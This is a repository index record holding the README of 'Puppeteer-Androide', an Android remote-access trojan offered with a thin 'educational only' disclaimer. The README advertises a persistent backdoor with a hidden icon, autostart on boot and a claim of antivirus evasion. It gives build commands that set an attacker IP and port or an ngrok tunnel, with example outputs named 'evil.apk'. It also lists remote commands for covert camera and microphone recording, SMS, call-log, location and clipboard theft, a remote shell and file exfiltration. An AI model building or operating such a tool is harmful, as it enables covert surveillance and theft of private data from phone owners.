{"id":28374835,"url":"https://github.com/benzoxdev/puppeteer-androide","last_synced_at":"2025-06-26T02:32:55.250Z","repository":{"id":295236138,"uuid":"989560163","full_name":"BenzoXdev/Puppeteer-Androide","owner":"BenzoXdev","description":null,"archived":false,"fork":false,"pushed_at":"2025-05-24T21:14:59.000Z","size":28275,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-06-05T22:52:55.037Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/BenzoXdev.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-05-24T10:53:02.000Z","updated_at":"2025-05-24T21:15:03.000Z","dependencies_parsed_at":"2025-05-24T11:48:15.364Z","dependency_job_id":null,"html_url":"https://github.com/BenzoXdev/Puppeteer-Androide","commit_stats":null,"previous_names":["benzoxdev/puppeteer-androide"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/BenzoXdev/Puppeteer-Androide","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenzoXdev%2FPuppeteer-Androide","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenzoXdev%2FPuppeteer-Androide/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenzoXdev%2FPuppeteer-Androide/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenzoXdev%2FPuppeteer-Androide/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/BenzoXdev","download_url":"https://codeload.github.com/BenzoXdev/Puppeteer-Androide/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenzoXdev%2FPuppeteer-Androide/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":261986740,"owners_count":23240702,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-05-29T22:11:08.285Z","updated_at":"2025-06-26T02:32:55.241Z","avatar_url":"https://github.com/BenzoXdev.png","language":"Java","funding_links":[],"categories":[],"sub_categories":[],"readme":"**Disclaimer** : This software is meant for educational purposes only. I'm not responsible for any malicious use of the app.\n# Puppeteer-Androide \n\n![Puppeteer-Androide Logo](./logo.png)\n\n[![MIT License](https://img.shields.io/badge/license-MIT-blue.svg)](https://opensource.org/licenses/MIT) \n[![GitHub followers](https://img.shields.io/github/followers/BenzoXdev?label=Follow\u0026style=social)](https://github.com/BenzoXdev)\n\nPuppeteer-Androide is a tool designed to give the control of the android system remotely and retrieve informations from it. Puppeteer-Androide is a client/server application developed in Java Android for the client side and the Server is in Python.\n\n##### Puppeteer-Androide will work on device from Android 4.1 (Jelly Bean) to Android 9.0 (Oreo) (API 16 to API 28)\n\n\u003e Puppeteer-Androide also works on Android 10 (Q) but some of the interpreter command will be unstable. \n\n## Features of Puppeteer-Androide \n* Full persistent backdoor\n* ~~Fully undetectable by any antivirus scanner [VirusTotal](https://www.virustotal.com/gui/file/e900b5d37ad8c8f79ca000b148253af04696a85fdfc245861cfb226dd86562df/detection)~~\n* Invisible icon on install\n* Light weight apk which runs 24*7 in background\n* App starts automatically on boot up \n* Can record audio, video, take picture from both camera\n* Browse call logs and SMS logs\n* Get current location, sim card details ,ip, mac address of the device\n\n\n## Prerequisites\nPuppeteer-Androide requires Python3 and JAVA (or Android Studio)\n\n## Installation\n```\ngit clone https://github.com/BenzoXdev/Puppeteer-Androide.git\ncd Puppeteer-Androide\npip install -r requirements.txt\n```\n#### Note: \nWhile cloning the repository using Git bash on Windows, you may get the following error:\n\u003e error: unable to create file \\\u003cfilename\u003e: Filename too long\n\nThis is because the Git has a limit of 4096 characters for a filename, except on Windows when Git is compiled with msys. It uses an older version of the Windows API and there's a limit of 260 characters for a filename. \n\nYou can circumvent this by setting `core.longpaths` to `true`.\n\n\u003e git config --system core.longpaths true\n\nYou must run Git bash with administrator privileges. \n\n## Usage (Windows and Linux)\n\n* To get the control panel of the app dial `*#*#1337#*#*` (For now it has only two options `Restart Activity` and `Uninstall`)\n\u003e Note: In order to use this feature in some devices you need to enable the option `display pop-up windows running in background` from the settings.\n\n### Available Modes\n* `--build` - for building the android apk \n* `--ngrok` - for using ngrok tunnel (over the internet)\n* `--shell` - getting an interactive shell of the device\n\n### `build` mode\n\n```\nUsage:\n  python3 Puppeteer-Androide.py --build --ngrok [flags]\n  Flags:\n    -p, --port              Attacker port number (optional by default its set to 8000)\n    -o, --output            Name for the apk file (optional by default its set to \"karma.apk\")\n    -icon, --icon           Visible icon after installing apk (by default set to hidden)\n```\n\n```\nUsage:\n  python3 Puppeteer-Androide.py --build [flags]\n  Flags:\n    -i, --ip                Attacker IP address (required)\n    -p, --port              Attacker port number (required)\n    -o, --output            Name for the apk file (optional)\n    -icon, --icon           Visible icon after installing apk (by default set to hidden)\n```\n\nOr you can manually build the apk by importing [Android Code](Android_Code) folder to Android Studio and changing the IP address and port number in [config.java](Android_Code/app/src/main/java/com/example/reverseshell2/config.java) file and then you can generate the signed apk from `Android Studio -\u003e Build -\u003e Generate Signed APK(s)`\n### `shell` mode\n```\nUsage:\n  python3 Puppeteer-Androide.py --shell [flags]\n  Flags:\n    -i, --ip                Listner IP address\n    -p, --port              Listner port number\n```\nAfter running the `shell` mode you will get an interpreter of the device  \n\nCommands which can run on the interpreter\n```\n    deviceInfo                 --\u003e returns basic info of the device\n    camList                    --\u003e returns cameraID  \n    takepic [cameraID]         --\u003e Takes picture from camera\n    startVideo [cameraID]      --\u003e starts recording the video\n    stopVideo                  --\u003e stop recording the video and return the video file\n    startAudio                 --\u003e starts recording the audio\n    stopAudio                  --\u003e stop recording the audio\n    getSMS [inbox|sent]        --\u003e returns inbox sms or sent sms in a file \n    getCallLogs                --\u003e returns call logs in a file\n    shell                      --\u003e starts a sh shell of the device\n    vibrate [number_of_times]  --\u003e vibrate the device number of time\n    getLocation                --\u003e return the current location of the device\n    getIP                      --\u003e returns the ip of the device\n    getSimDetails              --\u003e returns the details of all sim of the device\n    clear                      --\u003e clears the screen\n    getClipData                --\u003e return the current saved text from the clipboard\n    getMACAddress              --\u003e returns the mac address of the device\n    exit                       --\u003e exit the interpreter\n```\nIn the sh shell there are some sub commands\n```\n    get [full_file_path]        --\u003e donwloads the file to the local machine (file size upto 15mb)\n    put [filename]              --\u003e uploads the file to the android device\n```\n\n## Examples\n\n* To build the apk using ngrok which will also set the listner:\n```python3 Puppeteer-Androide.py --build --ngrok -o evil.apk```\n\n* To build the apk using desired ip and port:\n```python3 Puppeteer-Androide.py --build -i 192.169.x.x -p 8000 -o evil.apk```\n\n* To get the interpreter:\n```python3 Puppeteer-Androide.py --shell -i 0.0.0.0 -p 8000```\n\n## TODO\n* ~~Ngrok support~~\n* Set up multi client\n* Add screenshot command\n\n\n## License\nPuppeteer-Androide is licensed under MIT license take a look at the [LICENSE](LICENSE) for more information.\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbenzoxdev%2Fpuppeteer-androide","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fbenzoxdev%2Fpuppeteer-androide","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbenzoxdev%2Fpuppeteer-androide/lists"}